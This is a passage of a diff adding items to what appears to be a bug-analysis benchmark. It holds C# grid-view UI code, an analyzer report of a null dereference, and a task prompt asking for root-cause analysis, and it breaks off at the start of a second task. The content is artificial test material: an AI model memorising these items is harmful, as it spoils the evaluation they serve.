+                            SetFoucsItemIndex(e.param[1] + e.param[2], focusGroupIndex);
+                        }
+                    }
+                    else if (focusItemIndex >= e.param[1] + e.param[2])
+                    {
+                        SetFoucsItemIndex(focusItemIndex - e.param[2], focusGroupIndex);
+                    }
+
+                    break;
+                default:
+
+                    break;
+            }
+
+            refXForFocusMove = refYForFocusMove = -1;
+        }
+
+        private void AddItem(int groupIndex)
+        {
+            int dataCount = gridBridge.GetItemCount(groupIndex);
+            if (dataCount > groupList.ElementAt(groupIndex).realCellCount)
+            {
+                AddColumn(colW, groupIndex);
+                int columnIndex = groupList.ElementAt(groupIndex).columnList.Count - 1;
+                for (int i = 0; i < rowCnt; i++)
+                {
+                    AddRowToColumn(columnIndex, rowH, groupIndex);
+                }
+            }
+
+            Load();
+        }
+
+        private void AddAll(int groupIndex, int count)
+        {
+            Load();
+        }
+
+
+        private void DeleteItem(int groupIndex, int fromItemIndex, int deleteItemNum)
+        {
+            Group curGroup = groupList.ElementAt(groupIndex);
+
+            GridItem item = null;
+
+            int toItemIndex = fromItemIndex + deleteItemNum - 1;
+
+            int count = 0;
+
+            for (int i = fromItemIndex; i < curGroup.itemList.Count; i++)
+            {
+                item = curGroup.itemList.ElementAt(i);
+                if (curInMemoryItemSet.Contains(item))
+                {
+                    UnloadItem(item, true);
+                    count++;
+                }
+            }
+
+            for (int i = 0; i < count; i++)
+            {
+                curGroup.itemList.Remove(curGroup.itemList.ElementAt(curGroup.itemList.Count - 1));
+            }       
+        }
+
+        private void InsertItem(int groupIndex, int itemIndex)
+        {
+            Load();
+
+            Group curGroup = groupList.ElementAt(groupIndex);
+            for (int i = itemIndex; i < gridBridge.GetItemCount(groupIndex); i++)
+            {
+                if (i < curGroup.itemList.Count)
+                {
+                    gridBridge.UpdateItem(groupIndex, i, curGroup.itemList.ElementAt(i).itemView);
+                }
+            }
+        }
+
+        private void Clear()
+        {
+            for (int i = 0; i < groupList.Count; i++)
+            {
+                Clear(i);
+            }
+
+            ClearRecycleBin();
+        }
+
+        private void Clear(int groupIndex)
+        {
+            Tizen.Log.Fatal("NUI", "--------------------- " + groupIndex + " -------------------------------");
+            Group curGroup = groupList.ElementAt(groupIndex);
+            for (int i = 0; i < curGroup.itemList.Count; i++)
+            {
+                GridItem item = curGroup.itemList.ElementAt(i);
+                if (curInMemoryItemSet.Contains(item))
+                {
+                    UnloadItem(item, false);
+                }
+            }
+
+            curGroup.itemList.Clear();
+        }
+
+        private void ResetByData()
+        {
+            Tizen.Log.Fatal("NUI", "....");
+            int groupCount = gridBridge.GetGroupCount();
+            ResetGroup(groupCount);
+            for (int i = 0; i < groupCount; i++)
+            {
+                Tizen.Log.Fatal("NUI", ".... group: " + i);
+                int dataCount = gridBridge.GetItemCount(i);
+                Tizen.Log.Fatal("NUI", ".... dataCount: " + dataCount + " rowCnt: " + rowCnt);
+                int columnCount = (dataCount + rowCnt - 1) / rowCnt;
+                Group group = groupList.ElementAt(i);
+                Tizen.Log.Fatal("NUI", ".... columnCount: " + columnCount + " group.columnList.Count: " + group.columnList.Count + " group.itemIndexToCell.Count: " + group.itemIndexToCell.Count);
+                if (columnCount > group.columnList.Count)
+                {
+                    for (int c = group.columnList.Count; c < columnCount; c++)
+                    {
+                        AddColumn(colW, i);
+                        for (int r = 0; r < rowCnt; r++)
+                        {
+                            AddRowToColumn(c, rowH, i);
+                        }
+                    }
+                }
+                else if (columnCount < group.columnList.Count)
+                {
+                    float posOffset = -(group.columnList.Count - columnCount) * (colW + columnSpace) + ColumnSpace;
+
+                    for (int c = columnCount; c < group.columnList.Count; c++)
+                    {
+                        for (int r = 0; r < rowCnt; r++)
+                        {
+                            int itemIndex = c * rowCnt + r;
+                            group.itemIndexToCell.Remove(itemIndex);
+                            group.realCellCount--;
+                            Tizen.Log.Fatal("NUI", ".... itemIndexToCell.Remove: " + itemIndex);
+                        }
+                    }
+
+                    group.columnList.RemoveRange(columnCount, group.columnList.Count - columnCount);
+                    group.endPos = group.columnList.ElementAt(columnCount - 1).endPos;
+                    for (int j = i + 1; j < groupList.Count; j++)
+                    {
+                        if (GridType.Horizontal == gridType && groupList.ElementAt(j).title != null)
+                        {
+                            groupList.ElementAt(j).title.PositionX += posOffset;
+                        }
+
+                        groupList.ElementAt(j).ResetPosition(posOffset);
+                    }
+
+                }
+
+                Tizen.Log.Fatal("NUI", ".... group.columnList.Count: " + group.columnList.Count);
+            }
+
+            focusGroupIndex = 0;
+            focusItemIndex = 0;
+            Tizen.Log.Fatal("NUI", "....");
+            Load();
+            if (HasFocus() == true && curInMemoryItemSet.Count != 0)
+            {
+                SetFocus(0, 0);
+            }
+        }
+
+        /*page length set to grid length*/
+        private void PageMove(bool bPrev, bool bAni)
+        {
+            Rect visibleAreaOfItemGroup = new Rect(-itemGroupRect.X, -itemGroupRect.Y, gridWidth, gridHeight);
+
+            if (GridType.Horizontal == gridType)
+            {
+                if (bPrev)
+                {
+                    visibleAreaOfItemGroup.X -= gridWidth;
+                    if (0 > visibleAreaOfItemGroup.X)
+                    {
+                        visibleAreaOfItemGroup.X = 0;
+                    }
+                }
+                else
+                {
+                    visibleAreaOfItemGroup.X += gridWidth;
+                    if (-visibleAreaOfItemGroup.X + itemGroupRect.Width < gridWidth)
+                    {
+                        visibleAreaOfItemGroup.X = itemGroupRect.Width - gridWidth;
+                    }
+                }
+
+                if (-itemGroupRect.X == visibleAreaOfItemGroup.X)
+                {
+                    return;
+                }
+            }
+            else
+            {
+                if (bPrev)
+                {
+                    visibleAreaOfItemGroup.Y -= gridHeight;
+                    if (0 > visibleAreaOfItemGroup.Y)
+                    {
+                        visibleAreaOfItemGroup.Y = 0;
+                    }
+                }
+                else
+                {
+                    visibleAreaOfItemGroup.Y += gridHeight;
+                    if (-visibleAreaOfItemGroup.Y + itemGroupRect.Height < gridHeight)
+                    {
+                        visibleAreaOfItemGroup.Y = itemGroupRect.Height - gridHeight;
+                    }
+                }
+
+                if (-itemGroupRect.Y == visibleAreaOfItemGroup.Y)
+                {
+                    return;
+                }
+            }
+
+            Range newRange = new Range(0, 0, 0, 0);
+            GetOnscreenRange(visibleAreaOfItemGroup, ref newRange, true);
+
+            Group curFocusedGroup = groupList.ElementAt(focusGroupIndex);
+            Cell curFocusedCell = GetCellByItemIndex(focusGroupIndex, focusItemIndex);
+            Column curFocusedColumn = curFocusedGroup.columnList.ElementAt(curFocusedCell.columnIndex);
+
+            float focusStartLine = curFocusedColumn.startPos;
+            float focusEndLine = curFocusedColumn.endPos;
+            float focusMiddleLine = 0;
+
+            if (newRange.startGroupInScrn >= 0 && newRange.endGroupInScrn >= 0)
+            {
+                if (GridType.Horizontal == gridType)
+                {
+                    focusStartLine = focusStartLine + itemGroupRect.X + visibleAreaOfItemGroup.X;
+                    focusEndLine = focusEndLine + itemGroupRect.X + visibleAreaOfItemGroup.X;
+                }
+                else
+                {
+                    focusStartLine = focusStartLine + itemGroupRect.Y + visibleAreaOfItemGroup.Y;
+                    focusEndLine = focusEndLine + itemGroupRect.Y + visibleAreaOfItemGroup.Y;
+                }
+
+                focusMiddleLine = focusStartLine + (focusEndLine - focusStartLine) / 2;
+
+                int nextFocusGroup = -1; int nextFocusColumn = -1;
+                bool bFound = false;
+                for (int i = newRange.startGroupInScrn; i <= newRange.endGroupInScrn && bFound == false; i++)
+                {
+                    Group curGroup = groupList.ElementAt(i);
+
+                    int startColumnIndex = (i == newRange.startGroupInScrn) ? newRange.startColumnInScrn : 0;
+                    int endColumnIndex = (i == newRange.endGroupInScrn) ? newRange.endColumnInScrn : curGroup.columnList.Count - 1;
+
+                    for (int j = startColumnIndex; j <= endColumnIndex; j++)
+                    {
+                        Column curColumn = curGroup.columnList.ElementAt(j);
+                        if (curColumn.startPos <= focusMiddleLine && curColumn.endPos >= focusMiddleLine)
+                        {
+                            nextFocusGroup = i;
+                            nextFocusColumn = j;
+                            bFound = true;
+                            break;
+                        }
+                    }
+
+                    if (bFound == false && i == newRange.startGroupInScrn && focusMiddleLine < curGroup.columnList.ElementAt(startColumnIndex).startPos)
+                    {
+                        nextFocusGroup = i;
+                        nextFocusColumn = startColumnIndex;
+                        break;
+                    }
+
+                    else if (bFound == false && i == newRange.endGroupInScrn && focusMiddleLine > curGroup.columnList.ElementAt(endColumnIndex).endPos)
+                    {
+                        nextFocusGroup = i;
+                        nextFocusColumn = endColumnIndex;
+                        break;
+                    }
+                }
+
+                if (nextFocusGroup >= 0 && nextFocusColumn >= 0)
+                {
+                    int nextFocusItem = -1;
+                    GetNearestItem(curFocusedCell, nextFocusGroup, nextFocusColumn, ref nextFocusItem);
+
+                    if (nextFocusItem >= 0)
+                    {
+                        while (gridBridge.IsItemEnabled(nextFocusGroup, nextFocusItem) == false)
+                        {
+                            nextFocusItem = GetNextColumnIndex(bPrev, nextFocusColumn, ref nextFocusGroup);
+                        }
+
+                        if (nextFocusItem >= 0)
+                        {
+                            Position newItemGroupPos = new Position(-visibleAreaOfItemGroup.X, -visibleAreaOfItemGroup.Y, 0);
+                            SetFocus(nextFocusGroup, nextFocusItem, bAni, newItemGroupPos);
+                        }
+                    }
+                }
+            }
+        }
+
+        private int GetNextColumnIndex(bool bPrev, int curColumnIndex, ref int curGroupIndex)
+        {
+            if (bPrev == true)
+            {
+                if (curColumnIndex == 0)
+                {
+                    if (curGroupIndex == 0)
+                    {
+                        return -1;
+                    }
+                    else
+                    {
+                        curGroupIndex--;
+                        return groupList.ElementAt(curGroupIndex).columnList.Count - 1;
+                    }
+                }
+                else
+                {
+                    return curColumnIndex - 1;
+                }
+            }
+            else
+            {
+                Group curGroup = groupList.ElementAt(curGroupIndex);
+                if (curGroup.columnList.Count - 1 == curColumnIndex)
+                {
+                    if (groupList.Count - 1 == curGroupIndex)
+                    {
+                        return -1;
+                    }
+                    else
+                    {
+                        curGroupIndex++;
+                        return 0;
+                    }
+                }
+                else
+                {
+                    return curColumnIndex + 1;
+                }
+            }
+        }
+
+        private class GridItem
+        {
+            public void ScaleItem(Vector3 scaleFactor, AnimationAttributes aniAttrs)
+            {
+                if (itemView == null || scaleFactor == null || aniAttrs == null)
+                {
+                    return;
+                }
+
+                if (scaleAni == null)
+                {
+                    scaleAni = new Animation();
+                }
+
+                if (scaleAni.State == Animation.States.Playing)
+                {
+                    scaleAni.Stop(Animation.EndActions.StopFinal);
+                }
+
+                scaleAni.Clear();
+                scaleAni.AnimateTo(itemView, "Scale", scaleFactor, 0, aniAttrs.Duration, new AlphaFunction(aniAttrs.BezierPoint1, aniAttrs.BezierPoint2));
+                scaleAni.Play();
+            }
+
+            public int groupIndex;
+            public int index;
+
+            public View itemView;
+            public Rect rect;
+
+            private Animation scaleAni = null;
+        }
+
+        private class Cell
+        {
+            public int columnIndex;
+            public int index;
+            public int itemIndex;
+            public int rowIndex;
+
+            public Rect rect;
+            public Cell()
+            {
+                rect = new Rect(0, 0, 0, 0);
+            }
+        }
+
+        private class Column
+        {
+            public int groupIndex;
+            public int index;
+
+            public float space;
+            public float startPos;
+            public float endPos;
+
+            public int startItemIndex;
+            public int endItemIndex;
+
+            public List<Cell> cellList;
+        }
+
+        private class Group
+        {
+            public int index;
+
+            public float startPos;
+            public float endPos;
+
+            public int realCellCount;
+            public int lastFilledColumnIndex;
+
+            public List<Column> columnList;
+            public List<GridItem> itemList;
+            public Dictionary<int, Cell> itemIndexToCell;
+
+            public void ResetPosition(float posOffset)
+            {
+                startPos += posOffset;
+                endPos += posOffset;
+
+                int count = columnList.Count;
+                for (int i = 0; i < count; i++)
+                {
+                    Column column = columnList.ElementAt(i);
+                    column.startPos += posOffset;
+                    column.endPos += posOffset;
+
+                    int cellCount = column.cellList.Count;
+                    for (int j = 0; j < cellCount; j++)
+                    {
+                        column.cellList.ElementAt(j).rect.X += posOffset;
+                    }
+                }
+            }
+
+            public View title;
+        }
+
+        private class Range
+        {
+            public int startGroupIndex;
+            public int startColumnIndex;
+
+            public int endGroupIndex;
+            public int endColumnIndex;
+
+            public int startGroupInScrn;
+            public int startColumnInScrn;
+
+            public int endGroupInScrn;
+            public int endColumnInScrn;
+
+            public int startItemIndexInScrn;
+            public int endItemIndexInScrn;
+
+            public Range()
+            {
+                startGroupIndex = 0;
+                startColumnIndex = 0;
+                endGroupIndex = 0;
+                endColumnIndex = 0;
+            }
+
+            public Range(int a, int b, int c, int d)
+            {
+                startGroupIndex = a;
+                startColumnIndex = b;
+                endGroupIndex = c;
+                endColumnIndex = d;
+            }
+        }
+
+        private class FocusMoveViaObject
+        {
+            public int toGroupIndex;
+            public int toItemIndex;
+        }
+
+        const int INVALID_COUNT = -1;
+
+        private List<Group> groupList;
+        private GridBridge gridBridge;
+
+        private View itemGroup;
+        private Rect itemGroupRect;
+
+        private Vector4 margin = Vector4.Zero;
+
+        private float gridWidth;
+        private float gridHeight;
+
+        private int preloadFrontColumnSize = 1;
+        private int preloadBackColumnSize = 1;
+
+        //layout attributes
+        private GridType gridType = GridType.Horizontal;
+        private int groupSpace = 0;
+        private int columnSpace = 0;
+        private int rowSpace = 0;
+        private int titleSpace = 0;
+
+        private int rowCnt = 0;
+        private int colCnt = 0;
+        private int colW = 0;
+        private int rowH = 0;
+
+        //focus
+        private int focusGroupIndex;
+        private int focusItemIndex;
+
+        private float refXForFocusMove;
+        private float refYForFocusMove;
+
+        private int focusTagGroupIndex;
+        private int focusTagItemIndex;
+        //animation
+        LinkerAnimation focusMoveAni;
+
+        private float focusInScaleFactor;
+
+        private AnimationAttributes focusInScaleAnimationAttrs;
+
+        private AnimationAttributes focusOutScaleAnimationAttrs;
+
+        private int focusMoveAniDuration;
+
+        private Queue<FocusMoveViaObject> focusMoveViaQ = new Queue<FocusMoveViaObject>();
+
+        //for load
+        private HashSet<GridItem> curInMemoryItemSet;
+        private HashSet<GridItem> nextInMemoryItemSet;
+
+        private Rect lastVisibleArea;
+
+        private Range onScreenRange;
+
+        //reuse
+        private List<View>[] recycledViews;
+        private int viewTypeCount;
+
+        private EventHandler<GridEventArgs> gridEventHandlers;
+    }
+
+    /// <summary>
+    /// The attributes of Animation.
+    /// </summary>
+    /// <code>
+    /// AnimationAttributes attrs = new AnimationAttributes();
+    /// attrs.BezierPoint1 = new  Vector2(0.21f, 2);
+    /// attrs.BezierPoint2 = new Vector2(0.14f, 1);
+    /// attrs.Duration = 1000;
+    /// </code>
+    public class AnimationAttributes
+    {
+        /// <summary>V1 on bezier curve</summary>
+        public Vector2 BezierPoint1;
+        /// <summary>V2 on bezier curve</summary>
+        public Vector2 BezierPoint2;
+        /// <summary>Animation duration</summary>
+        public int Duration;
+
+        /// <summary>
+        /// Constructs a AnimationAttributes..
+        /// </summary>
+        public AnimationAttributes()
+        {
+        }
+
+        /// <summary>
+        /// Constructs a AnimationAttributes with curve style..
+        /// </summary>
+        /// <param name="curve">curve</param>
+        public AnimationAttributes(string curve)
+        {
+        }
+
+        /// <summary>
+        /// Constructs a AnimationAttributes that is a copy of attrs..
+        /// </summary>
+        /// <param name="attrs">Construct Attributes</param>
+        public AnimationAttributes(AnimationAttributes attrs = null)
+        {
+            if (attrs == null)
+            {
+                return;
+            }
+
+            if (attrs.BezierPoint1 != null)
+            {
+                BezierPoint1 = new Vector2(attrs.BezierPoint1[0], attrs.BezierPoint1[1]);
+            }
+
+            if (attrs.BezierPoint2 != null)
+            {
+                BezierPoint2 = new Vector2(attrs.BezierPoint2[0], attrs.BezierPoint2[1]);
+            }
+
+            Duration = attrs.Duration;
+        }
+
+        /// <summary> Clone a AnimationAttributes </summary>
+        /// <returns> The AnimationAttributes copy</returns>
+        public AnimationAttributes Clone()
+        {
+            return new AnimationAttributes(this);
+        }
+    }
+
+    /// <summary>
+    /// A GridBridge object acts as a pipeline between an BridgeView and the
+    /// underlying data for that view. The Bridge provides access to the data items.
+    /// The Bridge is also responsible for making a View for each item in the data set.
+    /// </summary>
+    public abstract class GridBridge
+    {
+        /// <summary>
+        /// Event type of data change. 
+        /// </summary>
+        public enum DataChangeEventType
+        {
+            Add,
+            Remove,
+            Insert,
+            Clear,
+            Load,
+            Reset
+        }
+
+        /// <summary>
+        /// Data change event args at event call back,
+        /// user can get information about data change.
+        /// </summary>
+        /// <code>
+        ///private void OnDataChange(object o, GridBridge.DataChangeEventArgs e)
+        ///{
+        ///}
+        /// </code>
+        public class DataChangeEventArgs : EventArgs
+        {
+            /// <summary>
+            /// Data changed event type.
+            /// </summary>
+            public DataChangeEventType ChangeType
+            {
+                get { return m_ChangeType; }
+                set { m_ChangeType = value; }
+            }
+
+            /// <summary>
+            /// Changed data.
+            /// </summary>
+            public object data;
+            /// <summary>
+            /// Data change event parameters.
+            /// </summary>
+            public int[] param = new int[4];
+
+            private DataChangeEventType m_ChangeType;
+        }
+
+        /// <summary>
+        /// Event handler of data change event.
+        /// </summary>
+        /// <param name="sender">The object who sends the event.</param>
+        /// <param name="e">The event arguments.</param>
+        public delegate void EventHandler<DataChangeEventArgs>(object sender, DataChangeEventArgs e);
+
+        /// <summary>
+        /// Data change event handler, user can add/remove.
+        /// </summary>
+        public event EventHandler<DataChangeEventArgs> DataChangeEvent
+        {
+            add
+            {
+                dataChangeEventHandlers += value;
+            }
+
+            remove
+            {
+                dataChangeEventHandlers -= value;
+            }
+        }
+
+        /// <summary>
+        /// Constructor to create a grid view bridge with multi-groups.
+        /// </summary>
+        /// <param name="objects">Data list of differet groups.</param>
+        public GridBridge(List<List<object>> objects)
+        {
+            gridData = objects;
+        }
+
+        /// <summary>
+        /// Simple constructor to create a grid view bridge with one group.
+        /// </summary>
+        /// <param name="objects">Data list of grid view.</param>
+        public GridBridge(List<object> objects)
+        {
+            gridData = new List<List<object>>();
+            gridData.Add(objects);
+        }
+
+        /// <summary>
+        /// Create item View.
+        /// </summary>
+        /// <param name="groupIndex">Group index of item in grid view.</param>
+        /// <param name="itemIndex">Item index of specified group of grid view.</param>
+        /// <returns>View of specified item.</returns>
+        public abstract View GetItemView(int groupIndex, int itemIndex);
+
+        /// <summary>
+        /// Create group title of specified group, need to be overrided.
+        /// </summary>
+        /// <param name="groupIndex">Group index of grid view.</param>
+        /// <returns>Group title view.</returns>
+        public virtual View GetGroupTitleView(int groupIndex)
+        {
+            return null;
+        }
+
+        /// <summary>
+        /// Remove group title of specified group, need to be overrided.
+        /// </summary>
+        /// <param name="groupIndex">Group index of grid view.</param>
+        /// <param name="groupTitle">Group title view.</param>
+        public virtual void RemoveGroupTitleView(int groupIndex, View groupTitle)
+        {
+
+        }
+
+        /// <summary>
+        /// Update View that displays the data at the specified index in the data set when data change.
+        /// </summary>
+        /// <param name="groupIndex">The group index.</param>
+        /// <param name="itemIndex">The item index.</param>
+        /// <param name="view">A View that displays the data at the specified index in the data set.</param>
+        public abstract void UpdateItem(int groupIndex, int itemIndex, View view);
+
+        /// <summary>
+        /// Update View that displays the data at the specified index in the data set when focus change.
+        /// </summary>
+        /// <param name="groupIndex">The group index.</param>
+        /// <param name="itemIndex">The item index.</param>
+        /// <param name="view">Item view of specified item.</param>
+        /// <param name="FlagFocused">Focus in or focus out</param>
+        /// <param name="bSelected">LinearView item selected or not.</param>
+        public abstract void FocusChange(int groupIndex, int itemIndex, View view, bool FlagFocused, bool bSelected = false);
+
+        /// <summary>
+        /// Unload view at the specified index when item scroll out or deleted.
+        /// </summary>
+        /// <param name="groupIndex">The group index.</param>
+        /// <param name="itemIndex">The item index.</param>
+        /// <param name="view">Item view of specified item.</param>
+        public abstract void UnloadItem(int groupIndex, int itemIndex, View view);
+
+        /// <summary>
+        /// Unload view according to the specified viewType.
+        /// </summary>
+        /// <param name="viewType"> Item type set by users.</param>
+        /// <param name="view">A View that displays the data at the specified index in the data set.</param>
+        public abstract void UnloadItemByViewType(int viewType, View view);
+
+        /// <summary>
+        /// Get the type of View that will be created by GetView for the specified item.
+        /// </summary>
+        /// <param name="groupIndex">The group index.</param>
+        /// <param name="itemIndex">The item index.</param>
+        /// <remarks>Integers must be in the range 0 to GetItemTypeCount() - 1.</remarks>
+        /// <returns>Item type.</returns>
+        public virtual int GetItemType(int groupIndex, int itemIndex)
+        {
+            return 0;
+        }
+
+        /// <summary>
+        /// Get the number of view types.
+        /// </summary>
+        /// <returns>The count of view type.</returns>
+        public virtual int GetItemTypeCount()
+        {
+            return 1;
+        }
+
+        /// <summary>
+        /// Check whether item is enable or not.
+        /// </summary>
+        /// <param name="groupIndex">The group index.</param>
+        /// <param name="itemIndex">The item index.</param>
+        /// <returns>Item is enabled or disabled.</returns>
+        public virtual bool IsItemEnabled(int groupIndex, int itemIndex)
+        {
+            return true;
+        }
+
+        /// <summary>
+        /// Get the data at the specified index.
+        /// </summary>
+        /// <param name="itemIndex">The item index.</param>
+        /// <param name="groupIndex">The group index.</param>
+        /// <returns>The data at the specified index.</returns>
+        public object GetData(int itemIndex, int groupIndex = 0)
+        {
+            object data = null;
+            if (gridData != null && gridData.ElementAt(groupIndex) != null && itemIndex >= 0 && itemIndex < gridData.ElementAt(groupIndex).Count)
+            {
+                data = gridData.ElementAt(groupIndex).ElementAt(itemIndex);
+            }
+
+            return data;
+        }
+
+        /// <summary>
+        /// Get data group count of the bridge.
+        /// </summary>
+        /// <returns>Group count of the data set.</returns>
+        public int GetGroupCount()
+        {
+            int count = 0;
+            if (gridData != null)
+            {
+                count = gridData.Count;
+            }
+
+            return count;
+        }
+
+        /// <summary>
+        /// How many items are in the data set of specified group.
+        /// </summary>
+        /// <param name="groupIndex">The data group index.</param>
+        /// <returns>Count of items of specified group.</returns>
+        public int GetItemCount(int groupIndex = 0)
+        {
+            int count = 0;
+            if (gridData != null && gridData.ElementAtOrDefault(groupIndex) != null)
+            {
+                count = gridData.ElementAt(groupIndex).Count;
+            }
+
+            return count;
+        }
+
+        /// <summary>
+        /// How many items are in the data set of whole data list.
+        /// </summary>
+        /// <returns>Count of total items</returns>
+        public int GetTotalCount()
+        {
+            int count = 0;
+            if (gridData != null)
+            {
+                foreach (List<object> group in gridData)
+                {
+                    count += group.Count;
+                }
+            }
+
+            return count;
+        }
+
+        /// <summary>
+        /// Adds the specified data at the end of the List of specified group.
+        /// </summary>
+        /// <param name="data">The data to add at the end of the List.</param>
+        /// <param name="groupIndex">The group index which need to add data.</param>
+        /// <param name="sendEvent">Notify list to remove item or not.</param>
+        public void Add(object data, int groupIndex = 0, bool sendEvent = true)
+        {
+            Debug.Assert(groupIndex < gridData.Count);
+
+            gridData[groupIndex].Add(data);
+            DataChangeEventArgs e = new DataChangeEventArgs();
+            e.ChangeType = DataChangeEventType.Add;
+            e.param[0] = groupIndex;
+            e.data = data;
+            OnDataChangeEvent(this, e, sendEvent);
+        }
+
+        /// <summary>
+        /// Removes the specified data from the List of specified group.
+        /// </summary>
+        /// <param name="fromIndex">The from index of data to remove from the list.</param>
+        /// <param name="removeNum">The remove number of data to remove from the list.</param>
+        /// <param name="groupIndex">The group index which need to add data.</param>
+        /// <param name="withAni">Remove with animation or not.</param>
+        /// <param name="sendEvent">Notify list to remove item or not.</param>
+
+        public void RemoveItems(int fromIndex, int removeNum, int groupIndex = 0, bool withAni = false, bool sendEvent = true)
+        {
+            Debug.Assert(groupIndex < gridData.Count);
+
+            if (fromIndex + removeNum > gridData[groupIndex].Count)
+            {
+                return;
+            }
+
+            DataChangeEventArgs e = new DataChangeEventArgs();
+            e.ChangeType = DataChangeEventType.Remove;
+            e.param[0] = groupIndex;
+            e.param[1] = fromIndex;
+            e.param[2] = removeNum;
+            e.param[3] = withAni ? 1 : 0;
+            OnDataChangeEvent(this, e, sendEvent);
+            gridData[groupIndex].RemoveRange(fromIndex, removeNum);
+            e.ChangeType = DataChangeEventType.Load;
+            OnDataChangeEvent(this, e, sendEvent);
+        }
+
+        /// <summary>
+        /// Removes the specified data from the List of specified group.
+        /// </summary>
+        /// <param name="itemIndex">The from index of data to remove from the list.</param>
+        /// <param name="groupIndex">The group index which need to add data.</param>
+        /// <param name="withAni">Remove with animation or not.</param>
+        /// <param name="sendEvent">Notify list to remove item or not.</param>
+        public void Remove(int itemIndex, int groupIndex = 0, bool withAni = false, bool sendEvent = true)
+        {
+            if (itemIndex < 0 || itemIndex >= GetItemCount(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", "Error!! item index is invalid");
+                return;
+            }
+
+            RemoveItems(itemIndex, 1, groupIndex, withAni, sendEvent);
+        }
+
+        /// <summary>
+        /// Inserts the specified data at the specified index in the List of specified group.
+        /// </summary>
+        /// <param name="index">The index at which the data must be inserted.</param>
+        /// <param name="data">The data to insert into the list.</param>
+        /// <param name="groupIndex">The group index which need to insert data.</param>
+        /// <param name="sendEvent">Notify list to remove item or not.</param>
+        public void Insert(int index, object data, int groupIndex = 0, bool sendEvent = true)
+        {
+            Debug.Assert(groupIndex < gridData.Count);
+
+            gridData[groupIndex].Insert(index, data);
+            DataChangeEventArgs e = new DataChangeEventArgs();
+            e.ChangeType = DataChangeEventType.Insert;
+            e.data = data;
+            e.param[0] = groupIndex;
+            e.param[1] = index;
+            OnDataChangeEvent(this, e, sendEvent);
+        }
+
+        /// <summary>
+        /// Remove all elements from the list.
+        /// </summary>
+        /// <param name="sendEvent">Notify list to remove item or not.</param>
+        public void Clear(bool sendEvent = true)
+        {
+            if (gridData != null)
+            {
+                DataChangeEventArgs e = new DataChangeEventArgs();
+                e.ChangeType = DataChangeEventType.Clear;
+                OnDataChangeEvent(this, e, sendEvent);
+                gridData.Clear();
+            }
+        }
+
+        /// <summary>
+        /// Reset bridge, and Update LinearView with new bridge data.
+        /// </summary>
+        /// <param name="objects">Data list of differet groups.</param>
+        /// <param name="sendEvent">Notify list to remove item or not.</param>
+        public void Reset(List<List<object>> objects, bool sendEvent = true)
+        {
+            Clear();
+            gridData = objects;
+            DataChangeEventArgs e = new DataChangeEventArgs();
+            e.ChangeType = DataChangeEventType.Reset;
+            OnDataChangeEvent(this, e, sendEvent);
+        }
+
+        /// <summary>
+        /// Reset bridge, and Update LinearView with new bridge data.
+        /// </summary>
+        /// <param name="objects">Data list of grid view.</param>
+        /// <param name="sendEvent">Notify list to remove item or not.</param>
+        public void Reset(List<object> objects, bool sendEvent = true)
+        {
+            Clear();
+            gridData = new List<List<object>>();
+            gridData.Add(objects);
+            DataChangeEventArgs e = new DataChangeEventArgs();
+            e.ChangeType = DataChangeEventType.Reset;
+            OnDataChangeEvent(this, e, sendEvent);
+        }
+
+        /// <summary>
+        /// Swap data of specified group.
+        /// </summary>
+        /// <param name="groupIndex">The group index which need to insert data.</param>
+        /// <param name="from">First item index of the group.</param>
+        /// <param name="to">Second item index of the group.</param>
+        public void SwapGroupData(int groupIndex, int from, int to)
+        {
+            List<object> groupDataList = gridData.ElementAt(groupIndex);
+            object fromData = groupDataList.ElementAt(from);
+            groupDataList[from] = groupDataList[to];
+            groupDataList[to] = fromData;
+        }
+
+        private void OnDataChangeEvent(object sender, DataChangeEventArgs e, bool sendEvent = true)
+        {
+            if (!sendEvent)
+            {
+                return;
+            }
+
+            if (dataChangeEventHandlers != null)
+            {
+                dataChangeEventHandlers(sender, e);
+            }
+        }
+
+        private List<List<object>> gridData;
+        private EventHandler<DataChangeEventArgs> dataChangeEventHandlers;
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `curCell` last assigned on line 769 could be null and is dereferenced at line 770, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void GridView.UpdateItem(Int32,Int32)
+
+### File:
+TV/MediaHubSample/MediaHubSample/src/View/GridView/Grid.cs
+
+### Key:
+Grid.cs|UpdateItem|NULL_DEREFERENCE
+
+### Node Key:
+44f51522748942dcf2a0bd14d230aaeb
+
+### Hash:
+a775d8c51f20159e39f5d15aed07095b
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0793/instruction.md b/inferredbugs-0793/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3848f1b6814c24ed0bcedaae8ed59db3d072ad37
--- /dev/null
+++ b/inferredbugs-0793/instruction.md
@@ -0,0 +1,179 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Chia-Plot-Status
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Avalonia;
+using Avalonia.Controls;
+using Avalonia.Input;
+using Avalonia.Input.Platform;
+using Avalonia.Interactivity;
+using Avalonia.Layout;
+using Avalonia.Markup.Xaml;
+using Avalonia.Markup.Xaml.Styling;
+using Avalonia.Platform;
+using ChiaPlotStatus.GUI.Models;
+using ChiaPlotStatus.Logic.Models;
+using Octokit;
+using ReactiveUI;
+using System;
+using System.Diagnostics;
+using System.Drawing;
+using System.IO;
+using System.Reactive;
+using System.Runtime.InteropServices;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using YamlDotNet.Serialization;
+
+namespace ChiaPlotStatus.Views
+{
+    public class UpdateDialog : Window
+    {
+        public GUI.Models.Language Language { get; set; }
+        public Release Latest { get; set; }
+        public string Current { get; set; }
+        public string current { get; set; }
+
+        public UpdateDialog() { }
+
+        public UpdateDialog(GUI.Models.Language language)
+        {
+            this.DataContext = this;
